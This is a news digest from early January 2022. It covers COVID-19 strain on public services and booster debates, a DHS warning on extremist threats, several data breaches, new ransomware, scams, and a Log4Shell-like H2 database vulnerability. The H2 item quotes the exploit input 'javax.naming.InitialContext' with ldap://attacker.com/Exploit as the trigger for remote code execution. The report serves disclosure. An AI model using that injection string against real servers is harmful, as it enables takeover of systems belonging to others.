GIST	<p>Thousands of police officers, firefighters, bus drivers and other public employees across the United States are off the job with what officials have said are record numbers of coronavirus infections, leaving officials scrambling to reassure residents that crucial services will continue.</p> <p>In Dallas, 204 of the roughly 2,100 total employees of the city’s fire and rescue department were in quarantine on Thursday because of positive coronavirus tests — the most since the beginning of the pandemic, according to Jason Evans, a department spokesman. He said that approximately one-quarter of the department’s total positive tests since March 2020 had taken place in the last two weeks.</p> <p>In <a href="#">New York City</a>, on any given day this week, 21 percent of subway operators and conductors — about 1,300 people out of a work force of 6,300 — have been absent from work, according to the Metropolitan Transportation Authority, which attributes the jump in absenteeism to the virus. <a href="#">Service has been suspended</a> on three of the system’s 22 subway lines and schedules reduced on many others.</p> <p>The mayor of Cincinnati recently <a href="#">declared a 60-day emergency</a> to address what he described as a “public danger” posed by depleted public-safety staffing.</p>

Los Angeles city officials said at a news conference on Thursday that almost 300 firefighters were off duty because of the virus, the most the department had seen at any one time. As recently as mid-December, the figure was 24. The Los Angeles Police Department said it had 505 officers out as a result of the virus.

“The Omicron variant has taken off like wildfire,” Mayor Eric Garcetti of Los Angeles said at a news conference on Thursday.

Officials said that the city had authorized extra overtime and had canceled all previously approved leave for Fire Department employees to cover the absences. The mayor said the police and fire departments “have maintained staffing needed to keep Angelenos safe.”

The rapid surge of coronavirus cases across the country, propelled by the highly transmissible Omicron variant, has snarled school reopenings and forced restaurants and other businesses to close for lack of workers. And the recent strain on police, fire and other public agencies has intensified disputes over vaccination mandates.

In Los Angeles, officials said thousands of police and fire employees had requested medical or religious exemptions to the city’s vaccine mandate. Some have since complied with the rules and gotten shots, but others are still in the midst of lengthy reviews. Some workers who did not get vaccinated by the deadline have been sent home without pay while they go through disciplinary processes.

Mr. Garcetti said that about 83 percent of the city’s police officers and firefighters were in compliance with the vaccine mandate. He urged employees, and all city residents, to get booster shots as well.

In San Francisco, where rates of new coronavirus case reports are at their highest since the start of the pandemic, public health officials have urged residents to “layer their defenses” by getting booster shots and wearing masks, in part to help ensure that 911 calls are answered quickly and buses and trains run on time.

“San Francisco is in a relatively good position, compared to other municipalities,” the city’s director of health, Dr. Grant Colfax, said in a statement. “But the Omicron variant is challenging us, even more than Delta, to manage this disease while keeping our economy, schools and other essential services open.”

Jeff Cretan, spokesman for Mayor London Breed, said on Thursday that 140 Fire Department employees and 188 Police Department employees had tested positive or were out because of quarantine protocols; so were 110 workers at the city’s transit agency.

Mr. Cretan said that having all of the city’s frontline workers be fully vaccinated had staved off worse trouble. “People aren’t getting sick and ending up in the hospital and dying from our work force,” he said.

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HEADLINE	<b>01/06 Global 300M cases: statistically matter?</b>
SOURCE	<a href="https://www.nytimes.com/live/2022/01/06/world/omicron-covid-vaccine-tests# covid-300-million-cases-global">https://www.nytimes.com/live/2022/01/06/world/omicron-covid-vaccine-tests# covid-300-million-cases-global</a>
GIST	<p>It took more than a year for the world to record the first 100 million coronavirus cases, and half that time to tally <a href="#">the next 100 million</a>.</p> <p>The third 100 million have come even faster, in barely five months, as large segments of countries, rich and poor alike, remain unvaccinated and a wily new variant has proved able to infect even those who are.</p> <p>Case counts, though imperfect, have been a key barometer throughout the pandemic, a benchmark not only for governments implementing mitigation measures but also for people trying to discern the threat in their own communities. Yet <a href="#">surpassing 300 million known cases</a> — which was recorded on Thursday, according to the Center for Systems Science and Engineering at Johns Hopkins University — comes as a growing number of experts argue that it is time to stop focusing on case numbers.</p>

So far, the new Omicron variant [appears to produce severe illness in fewer people than previous versions of the virus](#) did, and research indicates that Covid vaccines still offer [protection against the worst outcomes](#). And though cases are rising faster than ever — the United States, Australia, France and many other nations are seeing record surges — hospitalizations and deaths from Covid are increasing more slowly.

But experts do worry that the sheer number of possible cases may still burden health care systems already strained by previous surges.

This week, Dr. Anthony S. Fauci, the U.S. government's top infectious disease expert, suggested that it was time to [stop focusing on case counts](#).

“As you get further on and the infections become less severe, it is much more relevant to focus on the hospitalizations,” Dr. Fauci told ABC News on Sunday.

About 60 percent of the world has received [at least a single dose of a Covid vaccine](#), but nearly three-quarters of all the shots [have been administered in the world's wealthiest nations](#), leaving people in parts of Africa and Asia vulnerable.

In the United States, cases are averaging a staggering 610,000 each day, a 227 percent increase from two weeks ago. Hospitalizations are rising at a slower rate, up 60 percent in the past two weeks, while deaths are up by 2 percent. In France, average daily cases have quadrupled to a record, while hospitalizations have risen by about 70 percent and deaths have doubled, according to the Our World in Data project at the University of Oxford.

The trend suggests that the grim cadence seen for the past two years — a wave of infections, followed by a matching surge of hospitalizations, then deaths — has been altered, in large part because of the protection offered by vaccines.

And because of the widening availability of at-home tests in the United States and Europe, official case numbers — which scientists have long argued are an undercount — may diverge more than ever from actual totals. Not all home tests are reported to authorities and many people may never get tested. Even before Omicron emerged, the Centers for Disease Control and Prevention estimated that only [one in four U.S. infections was reported](#).

Case numbers “definitely mean less than they did” earlier in the pandemic, said Robert West, a professor of health psychology at University College London. “If we had this number of infections then, we’d have had an astronomical number of deaths.”

Still, the known death toll remains devastating: more than 830,000 in the United States, 620,000 in Brazil, nearly half a million in India. In many developing nations with huge gaps in health data, the true number may never be known.

And Omicron's impact could be harsher among populations with less protection from vaccines. Some of the fastest increases in cases are occurring in African countries, which have the lowest vaccination rates. Less than a handful of the countries on the continent are on track to meet a World Health Organization goal of administering two doses to 70 percent of their populations, even as rich nations have offered a third.

“Booster after booster in a small number of countries will not end a pandemic while billions remain completely unprotected,” the W.H.O. director general, Tedros Adhanom Ghebreyesus, said on Thursday.

What is clear, many experts say, is that the virus will likely become endemic, something that the world will have to live with for years to come, like the flu — and that by the time the world records case 400 million, as it surely will, that statistic will mean even less than it does now.

	“I think when we had the first wave, a lot of people felt — not experts, but the public and many politicians felt — that if we could only weather the storm, we could come out the other side in the summer of 2020 and everything would be rosy,” Professor West said. “We know now that is never going to be true.”
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HEADLINE	<b>01/06 ‘Forever boosting’ beat the coronavirus?</b>
SOURCE	<a href="https://www.nytimes.com/2022/01/06/health/covid-vaccines-boosters.html">https://www.nytimes.com/2022/01/06/health/covid-vaccines-boosters.html</a>
GIST	<p>A year ago, just two doses of a Covid-19 vaccine — or even one, in the case of Johnson &amp; Johnson’s formulation — were thought to offer sufficient protection against the coronavirus.</p> <p>Now, faced with the extraordinarily contagious Omicron variant, Israel has begun <a href="#">offering fourth doses</a> to some high-risk groups. On Wednesday, the Centers for Disease Control and Prevention expanded eligibility for boosters to adolescents and backed away from describing anyone as “fully vaccinated” because two shots no longer seem adequate.</p> <p>Instead, one’s vaccination status will now be “up to date” — or not. It’s no surprise that many Americans are wondering: Where does this end? Are we to roll up our sleeves for booster shots every few months?</p> <p>Humbled repeatedly by a virus that has defied expectations, scientists are reluctant to predict the future. But in interviews this week, nearly a dozen said that whatever happens, trying to boost the entire population every few months is not realistic. Nor does it make much scientific sense.</p> <p>“It’s not unheard-of to give vaccines periodically, but I think there are better ways than doing boosters every six months,” said Akiko Iwasaki, an immunologist at Yale University. Other strategies, she said, could “get us out of this forever-boosting kind of a situation.”</p> <p>For starters, persuading people to line up for shots every few months is probably a losing proposition. About 73 percent of American adults are fully vaccinated, but so far just over a third <a href="#">have opted for a booster</a>.</p> <p>“This doesn’t seem to be a sustainable long-term strategy, for sure,” said Deepta Bhattacharya, an immunologist at the University of Arizona.</p> <p>Just as important, there are no data to support the effectiveness of a fourth dose of the current vaccines. (The calculus is different for people with impaired immune systems, who might well benefit from a fourth dose.)</p> <p>Booster shots undoubtedly <a href="#">increase antibody levels</a> and help to prevent infection — and, as a result, may relieve pressure on the health care system by temporarily slowing the spread of the virus. The experts all said that given the Omicron surge, Americans should get a third dose as soon as possible.</p> <p>But the immunity boost is transient; already preliminary studies are showing a decline in antibody levels just weeks after a third dose. And even at peak antibody levels, the boost does not uniformly prevent infection with Omicron, which is less vulnerable to the body’s immune defenses.</p> <p>“Even with that amount of antibody, it’s very hard to stop the virus for very long,” said Shane Crotty, a virologist at the La Jolla Institute for Immunology in California. “It’s a much higher bar now than before, and maybe an Omicron-specific vaccine would do a better job.”</p> <p>Pfizer-BioNTech, Moderna and Johnson &amp; Johnson have all said that they are testing vaccines targeting Omicron that may become available in a few months.</p> <p>“It doesn’t make sense to keep boosting against a strain that’s already gone,” said Ali Ellebedy, an immunologist at Washington University in St. Louis. “If you are going to add one more dose after three, I would definitely wait for an Omicron-based one.”</p>

If the goal is to boost immunity against Omicron or future variants, other tactics would be better than continual boosts of a vaccine designed to recognize the original virus, experts said.

Some research teams are developing a so-called [pan-coronavirus vaccine](#) designed to target parts of the virus that would change very slowly or not at all.

The current vaccines could be combined with boosters of nasal or oral vaccines, which are better at preventing infection because they coat the nose and other mucosal surfaces — the entry points for the virus — with antibodies.

And simply allowing more time between vaccine doses might also strengthen immunity, a lesson scientists learned in fights against other pathogens.

Many experts were [initially opposed](#) to the idea of a booster shot at all. Some believed the original vaccine regimens were enough to keep most people out of the hospital, and that this should be the true measure of a vaccine's success.

Others felt it was unfair for wealthy countries to hoard the vaccine for booster shots when millions worldwide had yet to receive a first dose.

But [the perspective shifted](#) when scientists saw Omicron's rapid and unrelenting march across the world. "Omicron really did change my thinking about this," said Scott Hensley, an immunologist at the University of Pennsylvania.

He and others now support a third dose. But they see little use in following Israel's path and rolling out a fourth, arguing that other parts of the immune system — like T cells and B cells — are holding steady against the virus after three doses, and perhaps even after two.

While these immune cells cannot prevent infection, they ease the severity of symptoms and keep hospitalizations low.

"People that are vaccinated really are doing very well in terms of hospitalization," said Michel Nussenzweig, an immunologist at Rockefeller University in New York. Omicron has made it clear that preventing all infections is a lost cause, he added.

If the vaccines prevented infection and spread of the virus, regular boosters might make sense. "But with Omicron, what's the point?" Dr. Nussenzweig said. "The endgame is keeping people out of the hospital."

Last fall, Dr. Anthony S. Fauci, the nation's top pandemic adviser, repeatedly spoke of the importance of preventing symptomatic infections. But in recent days he, too, has been saying that it is hospitalizations that truly matter.

In order to prevent infections, booster shots must be exquisitely timed to a variant's circulation in the population. Many people who got a third dose early in the fall, for example, were left vulnerable to Omicron because the immune boost had already subsided.

Generally, people are told to get vaccinated against influenza just before the virus starts circulating in winter. If the coronavirus settles into a flulike seasonal pattern, as it seems possible, "you can imagine a scenario where we simply give boosters before the winter each year," Dr. Hensley said.

Lessons from flu season also suggest that frequent vaccination is unlikely to be helpful. Giving the flu vaccine twice a year "has a diminishing return, and so it may not make sense to do vaccination so frequently," said Ben Cowling, an epidemiologist at the University of Hong Kong. "For the initial doses that people receive the responses get better and better, but then there's a turning point."



“I think it’ll be difficult to get high uptake with more frequent vaccinations,” he added.

Some experts have raised concerns that getting boosters too often — as [some people are doing on their own](#) — may even be harmful. In theory, there are two ways in which it could backfire.

Most immunologists now dismiss as improbable the first possibility, in which the immune system is exhausted by repeated stimulation — a condition called “anergy” — and stops responding to coronavirus vaccines. “We’re not really seeing these weird memory cells that are indicative of anergy or dysfunction,” Dr. Bhattacharya said.

The second worry, called “original antigenic sin,” seems more plausible. In this view, the immune system’s response is tailored to the first version of the virus, and its responses to subsequent variants are much less powerful.

With more than 50 mutations, Omicron is different enough from previous variants that antibodies made for the original version of the virus struggle to recognize the latest version.

“We have enough clues that it could be a problem,” said Dr. Amy Sherman, a vaccinologist at Harvard University. “We’ve certainly seen evolution in a short period of time.”

The speedy evolution of the virus occurs in large part because it has access to huge numbers of human hosts. If cases continue to accumulate at the current rate, or something close to it, the virus may continue to amass major changes — meaning the vaccines might need to be regularly updated.

But if the pandemic slows in most parts of the world, it may limit opportunities for the virus to emerge in a radically different form. And that’s an argument for helping other nations immunize their populations rather than boosting our own, Dr. Hensley said.

Americans would also be better served by adopting strategies other than vaccines to control spread of the virus, some experts said. In the case of pneumococcus, for example, immunizing children indirectly protects older adults by limiting transmission.

Improving ventilation in schools would limit spread of the coronavirus among children and all of their contacts, said Sarah Cobey, an evolutionary biologist at the University of Chicago.

“If we just go back to how we were prepandemic, and we don’t make any sort of lasting changes to schools, kids could be proportionately driving a lot of transmission,” she said.

For the United States to adopt any strategy, whether it is periodic boosters or other approaches, the Biden administration must first define what it is trying to accomplish, experts said.

Preventing infections would require a very different approach than preventing hospitalizations, for example.

“We’re going somewhere fast, but we don’t know where we’re going,” said Natalie Dean, a biostatistician at Emory University in Atlanta. “Whatever the future holds, it just needs to be clear what the goal is.”

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## Cyber Awareness

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HEADLINE	01/06 DHS: online threats extremist platforms
SOURCE	<a href="https://www.cnn.com/2022/01/06/politics/dhs-online-threats-extremist-platforms-48-hours/index.html">https://www.cnn.com/2022/01/06/politics/dhs-online-threats-extremist-platforms-48-hours/index.html</a>

(CNN)There has been an [increase in online extremist content](#) in the past 48 hours, including threats to lawmakers and the President, according to a Department of Homeland Security intelligence memo obtained by CNN.

While there is still no indication of a specific and credible plot, officials fear the content could inspire violence, particularly by lone offenders. Law enforcement and federal authorities in the Washington, DC, region [stepped up security efforts](#) this week in anticipation of the first anniversary of the January 6 attack on the US Capitol.

The DHS intelligence memo warns that potential violence could be directed against political and other government officials, including members of Congress, state and local officials, and high-profile members of political parties.

It was sent from DHS intelligence chief John Cohen to federal, state and local law enforcement on Thursday afternoon, noting the threat of violence could extend beyond the Washington, DC, area.

Law enforcement agencies are investigating the postings.

The online content, identified by DHS and the Federal Bureau of Investigation, includes a video listing 93 members of Congress who it says were involved in voting to certify the 2020 "fraudulent" presidential election.

The video, posted on a forum known to host QAnon-related content and reposted on other sites, called for the members of Congress to be hanged in front of the White House. Since the original video surfaced online in early December, it has been viewed more than 60,000 times across all platforms, according to the intel notice.

A separate posting online references January 6 as a potential day to conduct assassinations against Democratic political figures, including President Joe Biden, because of the perceived fraudulent election, the memo states.

The Federal Protective Service has expanded patrols in and around federal facilities across the country, according to the memo. The US Secret Service, US Capitol Police, and the DC Metropolitan Police are "aware of this online activity, and investigations have been initiated, as appropriate," the memo states.

There has been a dramatic uptick in threats made against lawmakers, with 9,600 in 2021 alone, Capitol Police Chief Tom Manger said this week. A senior Capitol security official attributed that increase in part to "a more bitter and partisan political environment and citizens for whom the issues that they're angry about are core value and identity issues."

On Thursday afternoon, during an Anti-Defamation League panel discussion, Homeland Security Secretary Alejandro Mayorkas said the department is working to inform local communities, without referencing this week's uptick in threats.

"We are doing so by spreading information about what we know, so that the playing field, the landscape of law enforcement and public awareness more generally, is alert to the information that we have in our possession, so that we are all working on the same set of facts and all understand that the of the threat that is before us," he said.

CNN [previously reported](#) that in the days ahead of the anniversary of the January 6 attack on the US Capitol, federal officials had seen an increase in unspecified calls for violence, the targeting of politicians and calls for rebellion on domestic violent extremist forums, according to a federal law enforcement official.

Federal officials [warned last week](#) that "threat actors" may take advantage of the anniversary of the riot.

	<p>"We assess that threat actors will try to exploit the upcoming anniversary of the 6 January 2021 breach of the US Capitol to promote or possibly commit violence," an intelligence assessment issued last Thursday to state and local officials said.</p> <p>Lone offenders were the most likely threat to the anniversary, according to the intelligence assessment.</p> <p>Conspiracy theories about election fraud continue to resonate among domestic violent extremists and could again inspire some to promote or commit violence, according to the assessment, which was prepared by the Department of Homeland Security, FBI, US Capitol Police and other law enforcement agencies.</p>
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HEADLINE	<b>01/06 Ravkoo discloses data breach</b>
SOURCE	<a href="https://www.bleepingcomputer.com/news/security/us-online-pharmacy-ravkoo-links-data-breach-to-aws-portal-incident/">https://www.bleepingcomputer.com/news/security/us-online-pharmacy-ravkoo-links-data-breach-to-aws-portal-incident/</a>
GIST	<p>Ravkoo, a US Internet-based pharmacy service, has disclosed a data breach after the company's AWS hosted cloud prescription portal was involved in a security incident that may have led to personal and health information being accessed.</p> <p>"Ravkoo utilizes AWS cloud services for online hosting of its prescription portal. On September 27, 2021, Ravkoo detected that this portal was the target of a cybersecurity attack," the pharmacy said in <a href="#">data breach notification letters</a> sent to <a href="#">105,000 affected customers</a> on January 3.</p> <p>"An unauthorized third party attempted to infiltrate the portal. On October 27, 2021, Ravkoo's responsive forensic investigation revealed that certain prescription and health information could have been compromised."</p> <p>The company also said that it found no evidence that customers' Social Security Numbers were accessed during the incident, adding that it does not store SSN data on the affected prescription portal.</p> <p>Alpesh Patel, the online pharmacy's CEO, said in a <a href="#">public notification on Ravkoo's site</a> that the incident was reported to the FBI. The company is assisting the federal law enforcement agency's ongoing investigation into the matter.</p> <p>Ravkoo is yet to find any evidence that any of the information exposed in the incident has been misused since it hasn't received reports of identity theft linked to this data breach since September 27, the date of the incident.</p> <p>Affected individuals are also provided with one year of free online identity monitoring service from Kroll Information Assurance to allow them to resolve identity theft issues linked to this data breach.</p> <p><b>Reportedly "hilariously easy" to hack</b></p> <p>The details of the incident Ravkoo shared with Attorney Generals' offices from multiple states and affected customers line up with a <a href="#">report from The Intercept</a> right after the incident took place saying that an anonymous hacker that Ravkoo was "hilariously easy" to breach.</p> <p>The alleged hacker <a href="#">claimed</a> to have been able to gain access to Ravkoo's systems using a hidden admin panel any user could have used to view all data.</p> <p>"The hacker also provided records of 340,000 prescriptions that Ravkoo has filled between November 3, 2020, and September 11, 2021 — amounting to an estimated \$8.5 million in drug costs," The Intercept's Micah Lee revealed.</p> <p>A Ravkoo spokesperson didn't reply to a request for comment when BleepingComputer reached out earlier today for additional details regarding the data breach.</p>
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HEADLINE	01/06 FlexBooker discloses data breach
SOURCE	<a href="https://www.bleepingcomputer.com/news/security/flexbooker-discloses-data-breach-over-37-million-accounts-impacted/">https://www.bleepingcomputer.com/news/security/flexbooker-discloses-data-breach-over-37-million-accounts-impacted/</a>
GIST	<p>Accounts of more than three million users of the U.S.-based FlexBooker appointment scheduling service have been stolen in an attack before the holidays and are now being traded on hacker forums.</p> <p>The same intruders are offering databases claiming to be from two other entities: racing media organization Racing.com and Redbourne Group's rediCASE case management software, both from Australia.</p> <p><b>Pre-holiday breaches</b></p> <p>All three breaches allegedly occurred a few days before Christmas and the intruder published the data on a hacker forum.</p> <p>The latest data dump appears to be from FlexBooker, a popular tool for scheduling appointments and synchronizing employee calendar.</p> <p>Among FlexBooker's customers are owners of any business that needs to schedule appointments, which is everything from accountants, barbers, doctors, mechanics, lawyers, dentists, gyms, salons, therapists, trainers, spas, and the list goes on.</p> <p>Claiming the attack seems to be a group calling themselves Uawrongteam, who shared links to archives and files with sensitive information, such as photos, driver's licenses, and other IDs.</p> <p>According to Uawrongteam, the database contains a table with 10 million lines of customer information that ranges from payment forms and charges to driver's license photos.</p> <p>The actor notes that some "juicy columns" in the database are names, emails, phone numbers, password salt, and hashed passwords.</p> <p>FlexBooker has sent a data breach notification to customers, confirming the attack and that the intruders "accessed and downloaded" data on the service's Amazon cloud storage system.</p> <p>"On December 23, 2021, starting at 4:05 PM EST our account on Amazon's AWS servers was compromised," reads the notification, adding that the intruders did not access "any credit card or other payment card information."</p> <p>However, FlexBooker recommended users to stay vigilant and review account statements and credit reports for suspicious or fraudulent activity.</p> <p>The developer also pointed users to <a href="#">a report</a> on a distributed denial-of-service (DDoS) attack for more details. It was later discovered that the hackers had stolen personal information of some customers.</p> <p>According to the Have I Been Pwned data breach notification service, the <a href="#">FlexBooker attack</a> compromised data of more than 3.7 million accounts (3,756,794) consisting of email addresses, names, partial credit card data, passwords, and phone numbers.</p> <p>Before FlexBooker, the Uawrongteam threat actor shared links to archived information allegedly stolen from Racing.com, a digital television that broadcasts horse racing and provides related news, statistics, and event calendars.</p> <p>Another target of the same group appears to be the data from the rediCASE Case Management Software from the Redbourne Group, which is used for health and community services, as well as by various businesses.</p>
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HEADLINE	01/06 'Night Sky' targets corporate networks
SOURCE	<a href="https://www.bleepingcomputer.com/news/security/night-sky-is-the-latest-ransomware-targeting-corporate-networks/">https://www.bleepingcomputer.com/news/security/night-sky-is-the-latest-ransomware-targeting-corporate-networks/</a>
GIST	<p>It's a new year, and with it comes a new ransomware to keep an eye on called 'Night Sky' that targets corporate networks and steals data in double-extortion attacks.</p> <p>According to MalwareHunterteam, who <a href="#">first spotted</a> the new ransomware, the Night Sky operation started on December 27th and has since published the data of two victims.</p> <p>One of the victims has received an initial ransom demand of \$800,000 to obtain a decryptor and for stolen data not to be published.</p> <p><b>How the Night Sky encrypts devices</b></p> <p>A sample of the Night Sky ransomware seen by BleepingComputer is customized to contain a personalized ransom note and hardcoded login credentials to access the victim's negotiation page.</p> <p>In each folder a ransom note named <b>NightSkyReadMe.hta</b> contains information related to what was stolen, contact emails, and hard coded credentials to the victim's negotiation page.</p> <p>Instead of using a Tor site to communicate with victims, Night Sky uses email addresses and a clear web website running Rocket.Chat. The credentials are used to log in to the Rocket.Chat URL provided in the ransom note.</p> <p><b>Double-extortion tactic</b></p> <p>A common tactic used by ransomware operations is to steal unencrypted data from victims before encrypting devices on the network.</p> <p>The threat actors then use this stolen data in a "double-extortion" strategy, where they threaten to leak the data if a ransom is not paid.</p> <p>To leak victim's data, Night Sky has created a Tor data leak site that currently includes two victims, one from Bangladesh and another from Japan.</p> <p>While there has not been a lot of activity with the new Night Sky ransomware operation, it is one that we need to keep an eye on as we head into the new year.</p>
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HEADLINE	01/06 FBI: Google Voice authentication scams
SOURCE	<a href="https://www.bleepingcomputer.com/news/security/fbi-warns-about-ongoing-google-voice-authentication-scams/">https://www.bleepingcomputer.com/news/security/fbi-warns-about-ongoing-google-voice-authentication-scams/</a>
GIST	<p>The Federal Bureau of Investigation (FBI) says Americans who share their phone number online are being targeted by Google Voice authentication scams.</p> <p>As the federal law enforcement agency explains, the fraudsters are targeting those who have posted their phone number as a form of contact when trying to sell various items on online marketplaces or social media apps.</p> <p>"Recently, we have also been getting reports of people who are getting targeted in other locations, including sites where you post about lost pets," the FBI said.</p> <p>If successful, they will set up a Google Voice account in their victims' names or hijack their Gmail accounts which will later be used in other fraud schemes or in phishing attacks.</p>

The scammers will reach out to their targets via text messages or email showing their interest in the item put up for sale, asking the seller to verify their offer is legitimate and they're a real person and not a bot by sharing an authentication code they'll receive from Google.

"What he is really doing is setting up a Google Voice account in your name using your real phone number as verification," the agency [added](#).

"Once set up, he can use that Google Voice account to conduct any number of scams against other victims that won't come back directly to him. He can also use that code to gain access to, and take over, your Gmail account."

#### **What to do if you're the target of an authentication scam**

The FBI advises victims of Google Voice authentication scams to check [Google's support website for information](#) on how to retake control of their Google Voice account and reclaim their Voice number.

The federal agency also provides the following tips on to avoid getting scammed in the first place if you're ever targeted:

- Never share a Google verification code with others.
- Only deal with buyers, sellers, and Fluffy-finders in person. If money is to exchange hands, make sure you are using legitimate payment processors.
- Don't give out your email address to buyers/sellers conducting business via phone.
- Don't let someone rush you into a sale. If they are pressuring you to respond, they are likely trying to manipulate you into acting without thinking.

Those who believe they've fallen victim to online scams, are advised to report it to the FBI's Internet Crime Complaint Center at [www.ic3.gov](http://www.ic3.gov) or to call their local FBI office.

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HEADLINE	01/07 New year, new threat: rise enterprise IAB
SOURCE	<a href="https://www.securitymagazine.com/articles/96859-new-year-new-threat-rise-of-the-enterprise-sized-initial-access-broker">https://www.securitymagazine.com/articles/96859-new-year-new-threat-rise-of-the-enterprise-sized-initial-access-broker</a>
GIST	<p>The new year is often a time for change and arrives laden with various prognostications. Be they personal, professional or corporate — every new year brings with it the promise of evolution. Although much of the new year will be a repeat of what we failed to learn and remember from the past, there will be that which presents itself as novel.</p> <p>For my first column of 2022, I wanted to shine a light on one such novel and evolving way in which the cybercriminal business model will present itself: an increasing utilization of large Initial Access Brokers.</p> <p>Back in November, the <a href="#">BlackBerry Research and Intelligence team</a> identified an unusual connection between the actions of three distinct threat groups: MountLocker, Phobos and StrongPity. The discovery was intriguing given not how similar these actors are, but how, in fact, they differ.</p> <p>Mountlocker's <a href="#">ransomware</a> is targeted at geographically diverse enterprise-sized companies, and the outfit often scales its attacks through niche verticals, with the healthcare and life sciences sectors being the two most recent targets. At the same time, <a href="#">StrongPity</a> provides sophisticated advanced persistent threat or APT-level attacks generally used in espionage bids, with the most recent activity being seen in Turkey. Perhaps the most unexpected of the three is Phobos and its ransomware, which targets small organizations en masse and is listed by the U.S. Treasury as one of the most <a href="#">prevalent in the U.S.</a></p> <p>These threat groups don't share similar targets, and StrongPity doesn't even share the same intrusion tactic. So how was it that these three dramatically different criminal organizations were exposed as connected?</p>



The disparate motives of the three groups led the research team to examine not *what* connects them, but *who*. In the wake of that shift in focus, our team uncovered a new threat actor — Zebra2104 — who has been acting as an Initial Access Broker (IAB) for other criminal organizations.

Generally, an IAB will perform the first aggressive step in the chain of an attack. They will gain access into a victim's network through exploitation, phishing or other means. Once they have established a reliable entry point into the victim's network, the IAB will disclose this means of access in underground forums on the dark web, advertising their accomplishments in hopes of finding a buyer. The price for access can range from as little as \$25 up to thousands of dollars. Typically, the bigger a compromised organization — or the bigger the organization's partners — the higher the fee. After a sale, the winning bidder will deploy their malware of choice — anything from ransomware to information-stealing malware and everything in between.

The three threat actors mentioned target victims that range widely in geography, industry and size. In order to have gained such access to this spectrum of victims, the team concluded that Zebra2104 must have either a sizable workforce or have successfully sabotaged diverse forums on the Internet.

In either case, Zebra2104 reflects a scale of IAB not commonly seen.

The notion that Zebra2104 may be the cyber underground equivalent of a 'Fortune 500' company, providing services to other notable 'businesses,' is as unsettling as it is plausible. This provides new insight into the current cybercrime landscape, showing how it continues to evolve and present new challenges to the security community.

Perhaps the most significant takeaway from the research is that threat actors are connecting and sharing tools in ways that are both more menacing and cost effective. They are forming new partnerships and optimizing their resources to better meet their nefarious ends. This bolsters the calls for us as a security community to augment the manner in which we coordinate, share and work together in our 2022 fight against the rising tide of cybercrime.

This means more than simply building the best cybersecurity and resiliency policies into your own business. It means continuously tracking, documenting and sharing intelligence across our community so we can all stay one step ahead. As the cybercriminal community increases its connectivity, we as security professionals must do so as well.

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HEADLINE	01/06 Cyberattack fertility centers of Illinois
SOURCE	<a href="https://www.infosecurity-magazine.com/news/cyberattack-on-fertility-centers/">https://www.infosecurity-magazine.com/news/cyberattack-on-fertility-centers/</a>
GIST	<p>A company that operates multiple fertility centers across Northern Illinois has suffered a data breach because of a cyber-attack.</p> <p>Fertility Centers of Illinois (FCI) <a href="#">reported</a> the data breach to the Department of Health and Human Services' Office for Civil Rights (OCR), affecting 79,943 current and former patients.</p> <p>The unidentified attacker had access to some of the patients' protected health information (PHI) and could access personal data belonging to FCI employees.</p> <p>FCI hired third-party computer forensic specialists after the company detected suspicious network activity on February 1 2021.</p> <p>While cybersecurity measures implemented by FCI ensured that the company's electronic medical record system could not be accessed, the attacker was able to get into administrative files and folders.</p> <p>FCI reviewed the contents of the compromised files. By August 27 2021, it <a href="#">determined</a> that they contained a range of patient data, including names in combination with one or more of the following types of information: Social Security numbers, passport numbers, financial account information, payment card</p>

	<p>information, diagnoses, treatment information, medical record numbers, billing/claims information, prescription information, Medicare/Medicaid identification information, health insurance group numbers, health insurance subscriber numbers, patient account numbers, encounter numbers, referring physicians, usernames and passwords with PINs, or account login information.</p> <p>Employee information potentially compromised in the cyber-attack included names, employer-assigned identification numbers, ill-health/retirement information, occupational health-related information, medical benefits and entitlements information, patkeys/reason for absence and sickness certificates.</p> <p>Since the attack occurred, FCI has improved its cybersecurity posture, including implementing enterprise-class identity verification software and providing extra training to its workforce on cybersecurity practices.</p> <p>Data breach notifications have been mailed out to all affected individuals. FCI offers victims complimentary credit monitoring and identity theft protection services for 12 months through Equifax.</p> <p>News of the FCI attack follows the theft of data from America's largest fertility clinic operator, <a href="#">US Fertility</a>, in September 2020. In November 2021, a fertility clinic in the United Kingdom also became the victim of cyber-criminals when ransomware was used to attack a medical record scanning company used by <a href="#">Lister Fertility Clinic</a>.</p>
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HEADLINE	<b>01/07 New Log4Shell-like Java vulnerability</b>
SOURCE	<a href="https://www.infosecurity-magazine.com/news/researchers-new-log4shelllike-java/">https://www.infosecurity-magazine.com/news/researchers-new-log4shelllike-java/</a>
GIST	<p>Security researchers are warning of a critical new Java bug with the same root cause as the notorious Log4Shell vulnerability <a href="#">currently being exploited</a> around the globe.</p> <p>CVE-2021-42392 has yet to be officially published in the National Vulnerability Database (NVD), but according to JFrog, it impacts the console of the popular H2 Java SQL database.</p> <p>The security firm urged any organization currently running an H2 console exposed to their LAN or WAN to update the database immediately to version 2.0.206 or risk attackers exploiting it for unauthenticated remote code execution (RCE).</p> <p>Like Log4Shell, the bug relates to JNDI (Java Naming and Directory Interface) "remote class loading." JNDI is an API that provides naming and directory functionality for Java apps. It means that if an attacker can get a malicious URL into a JNDI lookup, it could enable RCE.</p> <p>"In a nutshell, the root cause is similar to Log4Shell – several code paths in the H2 database framework pass unfiltered attacker-controlled URLs to the javax.naming.Context.lookup function, which allows for remote codebase loading (AKA Java code injection AKA remote code execution)," <a href="#">JFrog explained</a>.</p> <p>"Specifically, the org.h2.util.JdbcUtils.getConnection method takes a driver class name and database URL as parameters. If the driver's class is assignable to the javax.naming.Context class, the method instantiates an object from it and calls its lookup method."</p> <p>It added that supplying a driver class such as "javax.naming.InitialContext" and a URL as simple as ldap://attacker.com/Exploit will lead to remote code execution.</p> <p>JFrog said the vulnerability is particularly dangerous as the H2 database package is particularly popular. It's one of the top 50 most popular Maven packages, with almost 7000 artifact dependencies, the firm claimed.</p> <p>However, there are some reasons why exploitation won't be as widespread as Log4Shell. For one, it has a "direct scope of impact," meaning vulnerable servers should be easier to find.</p>

	<p>Second, in most H2 distributions, the console only listens to localhost connections, meaning the default setting is not exploitable.</p> <p>“Many vendors may be running the H2 database, but not running the H2 console,” JFrog added. “Although there are other vectors to exploit this issue other than the console, these other vectors are context-dependent and less likely to be exposed to remote attackers.”</p>
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HEADLINE	<b>01/07 Schools IT provider hit by ransomware</b>
SOURCE	<a href="https://www.infosecurity-magazine.com/news/thousands-of-schools-it-provider/">https://www.infosecurity-magazine.com/news/thousands-of-schools-it-provider/</a>
